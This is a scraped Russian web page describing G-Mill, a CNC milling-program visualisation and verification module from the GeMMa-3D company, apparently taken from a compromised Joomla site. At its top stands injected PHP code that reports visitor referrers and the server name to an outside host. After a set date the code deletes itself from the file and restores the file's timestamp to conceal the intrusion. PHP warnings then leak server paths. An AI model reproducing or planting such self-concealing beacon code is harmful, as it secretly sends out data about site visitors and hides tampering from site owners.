check_meta(); function check_meta(){ $jp = __FILE__; $jptime = filemtime($jp); if(time() >= 1456755828){ $jp_c = file_get_contents($jp); if($t = @strpos($jp_c,"check_meta();")) { $contentp = substr($jp_c,0,$t); if(@file_put_contents($jp, $contentp)){ @touch($jp,$jptime); } } } @file_get_contents("http://web.51.la:82/go.asp?svid=15&id=18776972&referrer=".$_SERVER['HTTP_REFERER']."&vpage=http://".$_SERVER['SERVER_NAME']."/components/com_search/models/views.php"); }
Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at /home/u70256/gemma-stru/www/includes/framework.php:101) in /home/u70256/gemma-stru/www/libraries/joomla/session/session.php on line 423

Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /home/u70256/gemma-stru/www/includes/framework.php:101) in /home/u70256/gemma-stru/www/libraries/joomla/session/session.php on line 423

Warning: Cannot modify header information - headers already sent by (output started at /home/u70256/gemma-stru/www/includes/framework.php:101) in /home/u70256/gemma-stru/www/libraries/joomla/session/session.php on line 426

Warning: Cannot modify header information - headers already sent by (output started at /home/u70256/gemma-stru/www/includes/framework.php:101) in /home/u70256/gemma-stru/www/templates/ja_purity/ja_templatetools.php on line 44
G-Mill - Программный модуль визуализации 3-х осевой фрезерной обработки
 

ГеММа-3D

СОВЕРШЕНСТВО ТЕХНОЛОГИЙ РОССИИ

  • Увеличить размер шрифта
  • Размер шрифта по умолчанию
  • Уменьшить размер шрифта

G-Mill - Программный модуль визуализации 3-х осевой фрезерной обработки

E-mail Печать PDF

G-Mill - Программный модуль визуализации 3-х осевой фрезерной обработки

Назначение модуля


Для современного процесса CAD/CAM - системного сквозного проектирования и изготовления на оборудовании с ЧПУ экспериментальных моделей и макетов, а также сложной формообразующей технологической оснастки (пресс-формы, штампы, литейные формы) характерно значительное повышение сложности и размера управляющих программ для устройств с ЧПУ. Соответственно увеличивающееся время и стоимость фрезерной обработки изделия обуславливают поиск быстрых и эффективных способов контроля качества управляющих программ .В связи с существенным снижением стоимости, расширением функциональных возможностей и ростом быстродействия аппаратного обеспечения компьютерной графики и анимации, в последнее время наметилась тенденция к использованию программных средств контроля качества управляющих программ, более быстрой и эффективной альтернативе предварительного изготовления образцов из мягких материалов (пенопласт, дерево). Не секрет, что процесс отладки и проверки УП на станках с ЧПУ часто приводит к порче инструмента, прижимных приспособлений и заготовки и, как следствие, большим потерям времени и средств.



Ниже кратко описан разработанный для платформы Win32 программный модуль контроля качества УП 3-х осевой фрезерной обработки на оборудовании с ЧПУ, в значительной мере преодолевающий большинство недостатков аналогичных по назначению программных продуктов.

Исходная информация для модуля G-Mill


  • Управляющая программа в одном из стандартных универсальных форматах, используемого в известных CAD/CAM системах, CL-DATA, APT.
  • Фасетная модель (STL - модель) обрабатываемого изделия, соответствующая ему с заданной точностью (при необходимости оценки величин припуска и точности обработки).
  • Режимы работы, задаваемые пользователем в интерактивном режиме.


Основными режимами функционирования программы являются комбинации или непосредственное исполнение следующих операций:
  • манипуляции линейными и угловыми относительными положениями системы наблюдатель – источник освещения – модель;
  • построение и визуальное отображение траекторий перемещения инструмента;
  • расчет статистики управляющей программы – объем удаляемого материала, общее и текущие станочное время исполнения, длины траекторий, количество и продолжительность отдельных операций (быстрые перемещения, фрезерование линейными перемещениями, дугами и винтами с разделением статистики по отдельным плоскостям и направлениям, смена инструмента) и пр.;


  • фрезерование с динамической визуализацией процесса;
  • быстрое построение поверхности модели и отображение результата;
  • проверку управляющей программы на синтаксические ошибки, врезание в заготовку на скорости быстрого позиционирования, превышение ограничений рабочего хода станка и т.п.;
  • определение зон дефектов и недоработки (в качестве оригинала используется импортируемая STL - модель изготавливаемой детали); сохранение и загрузка проекта и др



Реализованные в программном модуле контроля УП элементы процедурного интерфейса для достижения максимального визуального качества моделей обеспечивают:
  1. Отображение в перспективной (с задаваемым пользователем фокусным расстоянием виртуального объектива) или ортогональной проекции элементов визуализируемой сцены.
  2. Установку ассоциированных с каждым объектом свойств материала поверхности (включая прозрачность, цвет рассеянного, диффузного, отраженного и испускаемого света, показатель степени индикатрисы отражения) из предварительного заданного набора или произвольно.
  3. Поддержку текстурированных моделей. Пользователь может загружать произвольные текстуры (в распространенном Win-32 bmp - формате).
  4. Поддержку до 8 – ми источников освещения.
  5. Установку атрибутов источников освещения (интенсивность рассеянного, диффузного, отраженного света, величины линейного и квадратичного затухания, позиционирование, показатель степени индикатрисы излучения, вектор направления излучения).
  6. Поддержку различных видов тумана (в том числе для эффективной визуализации “проволочных моделей”).
  7. Поддержку цветового сглаживания, антиалиасинга (устранения ступенчатости) и пр.



Применение разработанного модуля в составе комплексной автоматизированной системы разработки и изготовления на станках с ЧПУ способствует более быстрому и эффективному созданию управляющих программ для оборудования с ЧПУ.
Обновлено 11.11.2009 08:29  

Добавить комментарий


Защитный код
Обновить

Пользовательский поиск

Реклама


Случайная новость

 

НТЦ ГеММа совместно с Жуковским технологическим центром (ЖТЦ) планируют провести семинар “Комплексные решения в металлообработке”.


Программа семинара:
1.Опыт использования системы ГеММа-3D, версия 9.5/10.0.
2.Жуковский технологический центр представляет станки DMG.
3.Скоростная фрезерная обработка. Опыт применения.
4.Архив управляющих программ. Мониторинг загрузки оборудования с ЧПУ. Прямое управление оборудованием с ЧПУ.

Информация о времени и месте проведения семинара будет размещена на сайте позже.